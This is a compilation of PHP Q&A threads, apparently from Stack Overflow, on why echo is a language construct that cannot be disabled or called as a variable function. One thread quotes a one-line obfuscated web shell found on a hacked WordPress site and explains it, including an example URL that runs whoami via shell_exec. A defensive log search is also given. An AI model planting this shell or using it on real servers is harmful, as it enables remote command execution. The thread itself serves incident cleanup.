php doesn't disable functions - php

I call php from the commandline, with the -c argument to load another php.ini file, like this:
php -c my_ini_file.ini test.php
So in disabled_functions I added the echo function.
In test.php, echo works, and I don't know why. phpinfo() shows echo as a disabled function.

Echo is not a function, it is a built-in command. It cannot be disabled.
echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo() (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo(), the parameters must not be enclosed within parentheses.

According to the docs about echo
echo() is not actually a function (it is a language construct), so you
are not required to use parentheses with it. echo() (unlike some other
language constructs) does not behave like a function, so it cannot
always be used in the context of a function. Additionally, if you want
to pass more than one parameter to echo(), the parameters must not be
enclosed within parentheses.

As the other posters have already mentioned, echo is not really a function. Perhaps a solution for you would be to write another PHP script that includes the one you want to execute, but turns output buffering on and never outputs it. Something like:
<?php
ob_start();
include("test.php");
ob_end_clean();
?>

Related

Is there some way to "hook into" PHP's "echo" mechanism?

For a long time now, I have had my own wrapper function around echo, so that instead of:
echo 'This is an example.';
I do (in CLI scripts):
terminal_output('This is an example.');
This allows me to, for example, do fancy outputting of the text on the terminal. For example, I can make it look like it's "typed out" with random delays.
Sometimes, I realize that I have been using "echo" instead of my wrapper function, and then I have to sit and change them all into my function calls.
It strikes me that, maybe, there is some way to "hook into" the echo function so that I can indeed use echo everywhere, yet do any kind of fancy processing I feel like? And of course, that wrapper function would check whether it's in web or cli mode, and always directly output if in web mode.
I've oftentimes found hidden "gems" like this in PHP which are barely documented or well hidden, so maybe it's the case this time as well?
Functions can be namespaced. PHP native functions can be redefined with the same name in custom namespaces.
But echo is a special case. It is not a function, but is a language construct.
// echo supports non-function-shape calls since it's a language construct.
echo "string", "string";
AKAIK, the language may not allow you to define a function with that name.

'echo $var' vs 'echo($var)'

My code editor has a build in snippet for echo that looks like this:
echo($var);
All the snippets that I browse on the internet are formated without parentheses. Like this:
echo $var;
What is the difference? Which one is correct or considered as a better practice?
echo is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo, the parameters must not be enclosed within parentheses.
Going through the documentation , you can notice, that is not a problem, but really unnecessary and I believe your code editor have some setting, you may like to change to get it normal .

What does this line of PHP code do?

I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.

Why can I not use a variable to store echo() like I can other functions?

I'm just trying to figure out why I can't do this:
<?php
$a = "echo";
$a("test");
?>
It just returns PHP Fatal error: Call to undefined function echo() in Command line code on line 1
When I can do this:
<?php
$a = "explode";
var_dump($a("|","1|2|3"));
?>
and get the expected result.
Edit: Found a solution to my problem (as inspired by the various answers below).
Create an anonymous function inside the variable $a as so:
$a = function($a){echo $a;};
This will only work in PHP 5.3 or greater though.
That's because echo is not a function but a language construct.
Try with print() instead. That should work fine.
EDIT: As pointed out in the comments print is also a language construct and won't work! Only solution is wrapping echo or print in a user defined function then.
<?php
function output($str){
return print $str;
}
$a = "output";
$a("Lorem Ipsum ...");
?>
Echo isn't a function. It's a language construct that resembles a function but it doesn't return any values. Because of this, it cannot be used in variable functions ($foo = 'echo'; $foo ('hello world'); doesn't work)
You will have to use a different output method from echo (such as print) to do what you want.
Maybe because explode is a function whereas echo is a language construct. Notice there are no brackets when using echo.
look in docs
echo() is not actually a function (it is a language construct), so you
are not required to use parentheses with it. echo() (unlike some other
language constructs) does not behave like a function, so it cannot
always be used in the context of a function. Additionally, if you want
to pass more than one parameter to echo(), the parameters must not be
enclosed within parentheses.
Because echo is not a function, it is a built in part of PHP.
See here: http://www.php.net/manual/en/functions.variable-functions.php

In PHP, why wasn't echo implemented as a function? (not echo vs. printf)

I'm just curious. In PHP, why wasn't echo implemented as a function? Why didn't PHP just give us printf and never tell about echo? Please note that:
This is not a question about echo vs. printf.
I already knew that echo is a language construct.
UPDATE: By the way, was printf implemented using echo?
Echo is not a function and it doesn't return a value like print. Print is a language construct too - does not require parenthesis.
Manual:
echo - No value is returned.
print - Returns 1, always.
The fact remains that returning a value degrades system performance.
So.. now since printf IS a function (which returns the length of the outputted string) the answer I believe is obvious.
Echo is a language construct. Function use language construct to do their job. Explaining is not exactly my specialty, but a google action brought me to this topic:
What is the difference between a language construct and a "built-in" function in PHP?
Some important content:
...
This is the root of why you can't redefine language constructs like echo or print:
they're effectively hardcoded into the parser, whereas functions are mapped to a
set of language constructs and the parser allows you to change that mapping at
compile- or runtime to substitute your own set of language constructs or expressions.
...
Just a wild guess, but perhaps it's because PHP used to exist as CGI binaries. So it would be for making porting shell scripts easier, since you could use the echo binary in those.

Categories